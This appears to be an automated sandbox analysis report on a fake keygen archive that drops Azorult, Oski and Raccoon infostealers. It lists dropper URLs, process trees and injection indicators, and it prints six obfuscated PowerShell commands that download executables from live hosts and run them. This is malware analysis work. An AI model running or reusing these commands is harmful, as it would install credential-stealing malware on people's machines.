azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
19s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (102) — копия.exe

Score

10^/10

azorult oski raccoon infostealer stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 3468 powershell.exe
11 2288 powershell.exe
15 2288 powershell.exe
16 3468 powershell.exe
18 4448 powershell.exe
28 4448 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	3468	powershell.exe
11	2288	powershell.exe
15	2288	powershell.exe
16	3468	powershell.exe
18	4448	powershell.exe
28	4448	powershell.exe

Executes dropped EXE 9 IoCs

Processes:

Keygen.exetgy.exevty.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevty.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeodx.exe

pid	process
3104	Keygen.exe
4956	tgy.exe
4968	vty.exe
5100	FVjhgtresfdbv.exe
5116	NHtrdsaghfDF.exe
4224	vty.exe
4308	FVjhgtresfdbv.exe
4312	NHtrdsaghfDF.exe
2396	odx.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

vty.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4968 set thread context of 4224	4968	vty.exe	vty.exe
PID 5100 set thread context of 4308	5100	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5116 set thread context of 4312	5116	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1900 timeout.exe
1052 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings cmd.exe

pid	process
1900	timeout.exe
1052	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2288	powershell.exe
200	powershell.exe
3468	powershell.exe
3888	powershell.exe
200	powershell.exe
2288	powershell.exe
3468	powershell.exe
3888	powershell.exe
2288	powershell.exe
200	powershell.exe
3468	powershell.exe
3888	powershell.exe
4448	powershell.exe
4448	powershell.exe
4592	powershell.exe
4592	powershell.exe
4448	powershell.exe
4592	powershell.exe
4448	powershell.exe
4592	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

vty.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4968 vty.exe
5100 FVjhgtresfdbv.exe
5116 NHtrdsaghfDF.exe

pid	process
4968	vty.exe
5100	FVjhgtresfdbv.exe
5116	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	200	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

Keygen.exevty.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeodx.exe

pid process

3104 Keygen.exe
4968 vty.exe
5100 FVjhgtresfdbv.exe
5116 NHtrdsaghfDF.exe
2396 odx.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (102) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exevty.exe

description	pid	process	target process
PID 1012 wrote to memory of 3956	1012	Keygen — копия (102) — копия.exe	cmd.exe
PID 1012 wrote to memory of 3956	1012	Keygen — копия (102) — копия.exe	cmd.exe
PID 1012 wrote to memory of 3956	1012	Keygen — копия (102) — копия.exe	cmd.exe
PID 3956 wrote to memory of 3104	3956	cmd.exe	Keygen.exe
PID 3956 wrote to memory of 3104	3956	cmd.exe	Keygen.exe
PID 3956 wrote to memory of 3104	3956	cmd.exe	Keygen.exe
PID 3956 wrote to memory of 3156	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3156	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3156	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3684	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3684	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3684	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 1900	3956	cmd.exe	timeout.exe
PID 3956 wrote to memory of 1900	3956	cmd.exe	timeout.exe
PID 3956 wrote to memory of 1900	3956	cmd.exe	timeout.exe
PID 3156 wrote to memory of 2288	3156	mshta.exe	powershell.exe
PID 3156 wrote to memory of 2288	3156	mshta.exe	powershell.exe
PID 3156 wrote to memory of 2288	3156	mshta.exe	powershell.exe
PID 3684 wrote to memory of 200	3684	mshta.exe	powershell.exe
PID 3684 wrote to memory of 200	3684	mshta.exe	powershell.exe
PID 3684 wrote to memory of 200	3684	mshta.exe	powershell.exe
PID 3956 wrote to memory of 3720	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3720	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 3720	3956	cmd.exe	mshta.exe
PID 3720 wrote to memory of 3468	3720	mshta.exe	powershell.exe
PID 3720 wrote to memory of 3468	3720	mshta.exe	powershell.exe
PID 3720 wrote to memory of 3468	3720	mshta.exe	powershell.exe
PID 3956 wrote to memory of 1072	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 1072	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 1072	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 1052	3956	cmd.exe	timeout.exe
PID 3956 wrote to memory of 1052	3956	cmd.exe	timeout.exe
PID 3956 wrote to memory of 1052	3956	cmd.exe	timeout.exe
PID 1072 wrote to memory of 3888	1072	mshta.exe	powershell.exe
PID 1072 wrote to memory of 3888	1072	mshta.exe	powershell.exe
PID 1072 wrote to memory of 3888	1072	mshta.exe	powershell.exe
PID 3956 wrote to memory of 4376	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 4376	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 4376	3956	cmd.exe	mshta.exe
PID 4376 wrote to memory of 4448	4376	mshta.exe	powershell.exe
PID 4376 wrote to memory of 4448	4376	mshta.exe	powershell.exe
PID 4376 wrote to memory of 4448	4376	mshta.exe	powershell.exe
PID 3956 wrote to memory of 4508	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 4508	3956	cmd.exe	mshta.exe
PID 3956 wrote to memory of 4508	3956	cmd.exe	mshta.exe
PID 4508 wrote to memory of 4592	4508	mshta.exe	powershell.exe
PID 4508 wrote to memory of 4592	4508	mshta.exe	powershell.exe
PID 4508 wrote to memory of 4592	4508	mshta.exe	powershell.exe
PID 3468 wrote to memory of 4956	3468	powershell.exe	tgy.exe
PID 3468 wrote to memory of 4956	3468	powershell.exe	tgy.exe
PID 3468 wrote to memory of 4956	3468	powershell.exe	tgy.exe
PID 2288 wrote to memory of 4968	2288	powershell.exe	vty.exe
PID 2288 wrote to memory of 4968	2288	powershell.exe	vty.exe
PID 2288 wrote to memory of 4968	2288	powershell.exe	vty.exe
PID 4968 wrote to memory of 5100	4968	vty.exe	FVjhgtresfdbv.exe
PID 4968 wrote to memory of 5100	4968	vty.exe	FVjhgtresfdbv.exe
PID 4968 wrote to memory of 5100	4968	vty.exe	FVjhgtresfdbv.exe
PID 4968 wrote to memory of 5116	4968	vty.exe	NHtrdsaghfDF.exe
PID 4968 wrote to memory of 5116	4968	vty.exe	NHtrdsaghfDF.exe
PID 4968 wrote to memory of 5116	4968	vty.exe	NHtrdsaghfDF.exe
PID 4968 wrote to memory of 4224	4968	vty.exe	vty.exe
PID 4968 wrote to memory of 4224	4968	vty.exe	vty.exe
PID 4968 wrote to memory of 4224	4968	vty.exe	vty.exe
PID 4968 wrote to memory of 4224	4968	vty.exe	vty.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (102) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (102) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6E50.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (102) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3956

C:\Users\Admin\AppData\Local\Temp\6E50.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3104

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6E50.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288

C:\Users\Public\vty.exe
"C:\Users\Public\vty.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4968

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5100

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:4308

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5116

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4312

C:\Users\Public\vty.exe
"C:\Users\Public\vty.exe"
6⤵
- Executes dropped EXE
PID:4224

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6E50.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:200

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6E50.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3468

C:\Users\Public\tgy.exe
"C:\Users\Public\tgy.exe"
5⤵
- Executes dropped EXE
PID:4956

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6E50.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3888

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1052

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6E50.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4448

C:\Users\Public\odx.exe
"C:\Users\Public\odx.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2396

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6E50.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4508

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4592

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\6E50.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\odx.exe

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C:\Users\Public\odx.exe

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C:\Users\Public\tgy.exe

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C:\Users\Public\tgy.exe

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C:\Users\Public\vty.exe

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C:\Users\Public\vty.exe

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C:\Users\Public\vty.exe

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memory/200-19-0x0000000004120000-0x0000000004121000-memory.dmp

Filesize
4KB

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memory/200-23-0x0000000006B00000-0x0000000006B01000-memory.dmp

Filesize
4KB

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memory/200-16-0x0000000070E00000-0x00000000714EE000-memory.dmp

Filesize
6.9MB

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memory/200-13-0x0000000000000000-mapping.dmp

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memory/1052-25-0x0000000000000000-mapping.dmp

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memory/1072-22-0x0000000000000000-mapping.dmp

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memory/1900-10-0x0000000000000000-mapping.dmp

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memory/2288-52-0x0000000008760000-0x0000000008761000-memory.dmp

Filesize
4KB

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memory/2288-57-0x00000000085A0000-0x00000000085A1000-memory.dmp

Filesize
4KB

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memory/2288-12-0x0000000000000000-mapping.dmp

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memory/2288-30-0x0000000007460000-0x0000000007461000-memory.dmp

Filesize
4KB

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memory/2288-33-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

Filesize
4KB

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memory/2288-17-0x0000000070E00000-0x00000000714EE000-memory.dmp

Filesize
6.9MB

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memory/2288-49-0x0000000007E50000-0x0000000007E51000-memory.dmp

Filesize
4KB

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memory/2288-39-0x0000000007F10000-0x0000000007F11000-memory.dmp

Filesize
4KB

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memory/2288-36-0x0000000007CC0000-0x0000000007CC1000-memory.dmp

Filesize
4KB

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memory/2396-150-0x0000000000000000-mapping.dmp

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memory/3104-2-0x0000000000000000-mapping.dmp

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memory/3104-3-0x0000000000000000-mapping.dmp

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memory/3156-7-0x0000000000000000-mapping.dmp

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memory/3468-26-0x0000000070E00000-0x00000000714EE000-memory.dmp

Filesize
6.9MB

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memory/3468-96-0x0000000008230000-0x0000000008231000-memory.dmp

Filesize
4KB

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memory/3468-73-0x0000000009000000-0x0000000009001000-memory.dmp

Filesize
4KB

